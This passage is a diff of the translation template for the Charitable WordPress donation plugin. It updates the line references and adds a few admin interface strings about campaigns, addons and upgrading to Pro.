Charitable plugin, with built-in features and compatibility for more advanced addons. Installing Pro will replace this Lite version while keeping all your existing settings and data." +msgstr "" + +#: includes/admin/addons-directory/class-charitable-addons-directory.php:983 +msgid "All Plans" +msgstr "" + +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1012 msgid "Included In Pro" msgstr "" -#: includes/admin/addons-directory/class-charitable-addons-directory.php:913 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1077 #: includes/admin/class-charitable-admin-getting-started.php:460 #: includes/admin/views/checklist/checklist.php:593 msgid "Upgrade Now" msgstr "" -#: includes/admin/addons-directory/class-charitable-addons-directory.php:994 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1158 msgid "License Data Warning:" msgstr "" -#: includes/admin/addons-directory/class-charitable-addons-directory.php:995 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1159 msgid "Some addon download URLs appear to be invalid. This may indicate that your license data is not fully synchronized with the license server. You may need to reconnect your license by removing it and adding it back in the" msgstr "" -#: includes/admin/addons-directory/class-charitable-addons-directory.php:997 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1161 msgid "Charitable Settings page" msgstr "" -#: includes/admin/addons-directory/class-charitable-addons-directory.php:1018 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1182 #: includes/admin/charitable-admin-addons-functions.php:311 msgid "Not Installed" msgstr "" #. translators: %s - addon name. -#: includes/admin/addons-directory/class-charitable-addons-directory.php:1080 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1244 #, php-format msgid "%s addon" msgstr "" @@ -5439,7 +5443,7 @@ msgstr "" #: includes/admin/campaign-builder/campaign-congrats-wizard/popup.php:38 -#: includes/admin/onboarding/class-charitable-setup.php:1884 +#: includes/admin/onboarding/class-charitable-setup.php:1922 msgid "Congratulations!" msgstr "" @@ -5654,12 +5658,6 @@ #: templates/donation-stats.php:35 #: templates/print/overview.php:100 #: templates/shortcodes/my-donations.php:51 -#: assets/js/blocks/campaign-progress-bar/build/index.js:92 -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:113 -#: assets/js/blocks/donations/build/index.js:104 -#: assets/js/blocks/donors/build/index.js:169 -#: assets/js/blocks/donors/build/index.js:136 msgid "Campaign" msgstr "" @@ -5674,7 +5672,7 @@ msgstr "" #: includes/admin/campaign-builder/class-campaign-builder-preview.php:262 -#: includes/admin/dashboard/class-charitable-dashboard.php:3624 +#: includes/admin/dashboard/class-charitable-dashboard.php:3670 msgid "Documentation" msgstr "" @@ -5719,353 +5717,353 @@ msgid "Write Your Campaign's Story Here" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:683 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:688 msgid "And" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:686 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:691 msgid "Add New Choices" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:687 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:692 msgid "Bulk Add" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:688 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:693 msgid "Are you sure you want to leave? You have unsaved changes" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:689 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:694 msgid "Hide Bulk Add" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:690 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:695 msgid "Add Choices (one per line)" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:691 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:696 msgid "Show presets" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:692 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:697 msgid "Hide presets" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:697 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:702 msgid "Save And Reload Campaign" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:699 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:704 msgid "Due to form changes, conditional logic rules will be removed or updated:" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:700 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:705 msgid "Are you sure you want to disable conditional logic? This will remove the rules for this field or setting." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:701 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:706 msgid "Please Save!" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:702 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:707 msgid "You need to save this campaign before previewing." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:703 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:708 msgid "Field Locked" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:704 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:709 msgid "This field cannot be deleted or duplicated." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:705 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:710 msgid "Field" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:706 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:711 msgid "This field cannot be deleted." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:707 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:712 msgid "This field cannot be duplicated." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:708 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:713 msgid "Available Fields" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:709 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:714 msgid "No fields available" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:710 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:715 msgid "Heads up!" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:717 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:722 msgid "No email fields" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:718 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:723 msgid "Are you sure you want to delete this notification?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:719 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:724 msgid "Enter a notification name" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:720 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:725 msgid "Eg: User Confirmation" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:721 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:726 msgid "You must provide a notification name" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:722 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:727 msgid "Default Notification" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:723 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:728 msgid "Are you sure you want to delete this confirmation?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:724 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:729 msgid "Enter a confirmation name" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:725 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:730 msgid "Eg: Alternative Confirmation" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:726 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:731 msgid "You must provide a confirmation name" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:727 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:732 msgid "Default Confirmation" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:728 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1011 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1467 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:733 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1027 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1485 msgid "Save" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:729 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:734 msgid "Saving" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:730 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:735 msgid "Saved!" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:731 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:736 msgid "Save and Exit" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:732 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:737 msgid "Save and Embed" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:734 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:739 msgid "Show Layouts" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:735 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:740 msgid "Hide Layouts" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:736 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:741 msgid "Select your layout" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:737 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:742 msgid "Select your column" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:738 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:743 msgid "Loading" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:739 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:744 msgid "Use Template" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:740 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:745 msgid "Changing templates on an existing form will DELETE existing form fields. Are you sure you want apply the new template?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:741 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1031 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1429 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:746 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1047 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1447 #: includes/admin/templates/campaign-builder-onboarding.php:59 msgid "Embed" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:742 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:747 msgid "Exit" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:744 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:749 msgid "Your campaign contains unsaved changes. Would you like to save your changes first?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:745 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:750 msgid "Are you sure you want to delete this field?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:746 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:751 msgid "Are you sure you want to delete this tab?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:747 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:752 msgid "Are you sure you want to delete this choice?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:748 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:753 msgid "Are you sure you want to duplicate this field?" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:749 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:754 msgid "(copy)" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:750 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:755 msgid "Please enter a campaign name." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:751 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:756 msgid "You need a name for your campaign before you save." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:752 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:757 msgid "This item must contain at least one choice." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:753 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:758 msgid "Off" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:754 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:759 msgid "On" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:755 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:760 #: includes/admin/views/checklist/checklist.php:126 msgid "or" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:756 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:761 msgid "Other" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:757 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:762 msgid "is" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:758 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:763 msgid "is not" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:759 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:764 msgid "empty" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:760 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:765 msgid "not empty" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:761 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:766 msgid "contains" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:762 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:767 msgid "does not contain" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:763 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:768 msgid "starts with" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:764 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:769 msgid "ends with" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:765 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:770 msgid "greater than" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:766 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:771 msgid "less than" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:767 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:772 msgid "Previous" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:768 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:773 msgid "Something went wrong while saving the form. Please reload the page and try again." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:769 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:774 msgid "Please contact the plugin support team if this behavior persists." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:770 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:775 msgid "Are you sure you want to reset your template? All your work will be lost." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:772 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:777 msgid "This field cannot be moved." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:773 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:778 msgid "You shouldn't have a donation form AND a donation button in the same campaign page. Remove the donation button if you wish to add a donation form." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:774 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:779 msgid "Remove Donation Button" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:775 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:780 msgid "You shouldn't have a donation form AND a donation button in the same campaign page. Remove the donation form if you wish to add a donation button." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:776 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:781 msgid "Remove Donation Form" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:777 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:782 msgid "You shouldn't have more than one donation form on your campaign page. Move or delete the current donation form." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:778 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:783 msgid "Are you sure you want to delete your campaign? You cannot undo this." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:779 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:784 msgid "Some fields of this form are required. Please update the form and try submiting again. Thanks!" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:780 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:785 msgid "Empty Label" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:781 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:786 msgid "No results found" msgstr "" #. translators: %s: configure tab settings link -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:784 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:789 #, php-format msgid "This tab is empty. Drag a block from the left into this area or%1$s%2$s%3$s" msgstr "" #. translators: 1: Template ID -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:786 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:793 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:791 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:798 #: includes/admin/campaign-builder/panels/class-design.php:1247 #: includes/admin/campaign-builder/panels/class-design.php:1261 #: includes/admin/campaign-builder/templates/class-templates.php:3565 @@ -6074,171 +6072,200 @@ msgstr "" #. translators: %s: configure tab settings link -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:791 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:796 #, php-format msgid "There are no tabs yet for this template. You can %1$s%2$s%3$s to add a tab." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:796 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:801 #: includes/admin/campaign-builder/panels/class-design.php:623 #: includes/admin/campaign-builder/templates/class-templates.php:1285 -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:129 msgid "New Tab" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:797 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:802 msgid "My New Campaign" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:798 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:803 msgid "We're sorry, the %name% is not available because you have the display settings for donation form set to 'modal' in Charitable general settings." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:799 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:804 msgid "We're sorry, the %name% is not available because you have the display settings for donation form set to 'same page' in Charitable general settings." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:801 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:806 msgid "Go to Settings" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:802 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:807 msgid "Update Campaign" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:803 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:983 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:808 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:999 #: includes/admin/campaign-builder/templates/class-templates.php:1643 -#: includes/admin/dashboard/class-charitable-dashboard.php:940 -#: includes/admin/dashboard/class-charitable-dashboard.php:944 -#: includes/admin/dashboard/class-charitable-dashboard.php:1284 +#: includes/admin/dashboard/class-charitable-dashboard.php:986 +#: includes/admin/dashboard/class-charitable-dashboard.php:990 +#: includes/admin/dashboard/class-charitable-dashboard.php:1330 #: includes/admin/views/checklist/checklist.php:462 msgid "Create Campaign" msgstr "" #. translators: %s - plan name. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:807 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:824 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:841 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:812 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:829 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:846 #, php-format msgid "is a %1$s feature." msgstr "" #. translators: %s - addon name. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:809 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:826 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:843 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:814 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:831 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:848 #, php-format msgid "We're sorry, the %1$s is not available on your plan. Please upgrade to the %2$s plan to unlock all these awesome features." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:813 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:830 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:847 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:863 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:818 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:835 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:852 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:868 msgid "Already purchased?" msgstr "" #. translators: %1$s - plan name, %2$s - addon name. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:817 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:834 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:851 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:867 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:822 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:839 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:856 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:872 #, php-format msgid "Upgrade to %1$s And Unlock %2$s" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:857 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:862 msgid "is a PRO feature" msgstr "" #. translators: %s - addon name. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:859 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:864 #, php-format msgid "We're sorry, %s features are not available on your plan. Please upgrade to the PRO plan to unlock all these awesome features." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:875 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:890 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:905 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:880 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:895 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:910 msgid "is not installed or activated" msgstr "" #. translators: %s - addon name. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:877 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:892 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:907 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:882 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:897 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:912 #, php-format msgid "Good news! You have the %1$s plan. Please install and activate the %2$s to add this feature to your campaign page." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:881 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:896 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:911 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:927 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:886 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:901 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:916 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:932 msgid "Access Your Account" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:921 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:926 msgid "is not activated" msgstr "" #. translators: %s - addon name. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:923 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:928 #, php-format msgid "Good news! You have the %1$s installed, you just need to activate it." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:932 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:943 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:937 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:948 msgid "is activated" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:933 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:938 msgid "installing..." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:934 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:939 msgid "activating..." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:935 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:940 msgid "standby..." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:936 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:940 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:944 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:941 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:945 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:949 msgid "Save your campaign and refresh the page to use the addon with your campaign." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:937 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:942 msgid "has been installed and activated" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:938 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:943 msgid "failed to install and activate" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:939 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:944 msgid "Something went wrong. Save your campaign and attempt to install and activate the plugin on the WordPress plugin page." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:941 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:946 msgid "failed to activate" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:942 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:947 msgid "Something went wrong. Save your campaign and attempt to activate the plugin on the WordPress plugin page." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:947 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:952 msgid "<strong>Bonus:</strong> Charitable Lite users get <span>50% off</span> regular price, automatically applied at checkout." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:966 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:976 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:961 +msgid "Unlock the Visual Form Builder" +msgstr "" + +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:962 +msgid "The Charitable Pro plugin's visual form builder lets you drag and drop fields, build multi-step donation flows, and customize every part of your donation form - all without writing code." +msgstr "" + +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:962 +msgid "Upgrade to any paid Charitable plan to unlock the Charitable Pro plugin and design your forms exactly the way you want." +msgstr "" + +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:963 +msgid "Get Charitable Pro" +msgstr "" + +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:967 +#: includes/admin/campaign-builder/panels/class-marketing.php:241 +#: includes/admin/campaign-builder/panels/class-marketing.php:338 +#: includes/admin/campaign-builder/panels/class-payment.php:196 +#: includes/admin/campaign-builder/panels/class-payment.php:424 +#: includes/admin/campaign-builder/templates/class-templates.php:669 +#: includes/admin/campaigns/class-charitable-campaign-list-table.php:662 +#: includes/admin/donations/class-charitable-donation-list-table.php:1051 +#: includes/admin/plugins/class-charitable-admin-plugins-third-party.php:588 +#: includes/admin/splash/class-charitable-admin-splash.php:568 +#: includes/admin/splash/class-charitable-admin-splash.php:584 +#: includes/admin/splash/class-charitable-admin-splash.php:593 +msgid "Learn More" +msgstr "" + +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:982 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:992 #: includes/admin/class-charitable-admin-pointers.php:220 #: includes/admin/onboarding/class-charitable-checklist.php:828 #: includes/admin/templates/campaign-builder-onboarding.php:37 @@ -6250,216 +6277,218 @@ msgid "Next" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:967 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:983 #: includes/admin/onboarding/class-charitable-checklist.php:829 msgid "Start Tour" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:968 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:984 #: includes/admin/notifications/class-charitable-notifications.php:1074 #: 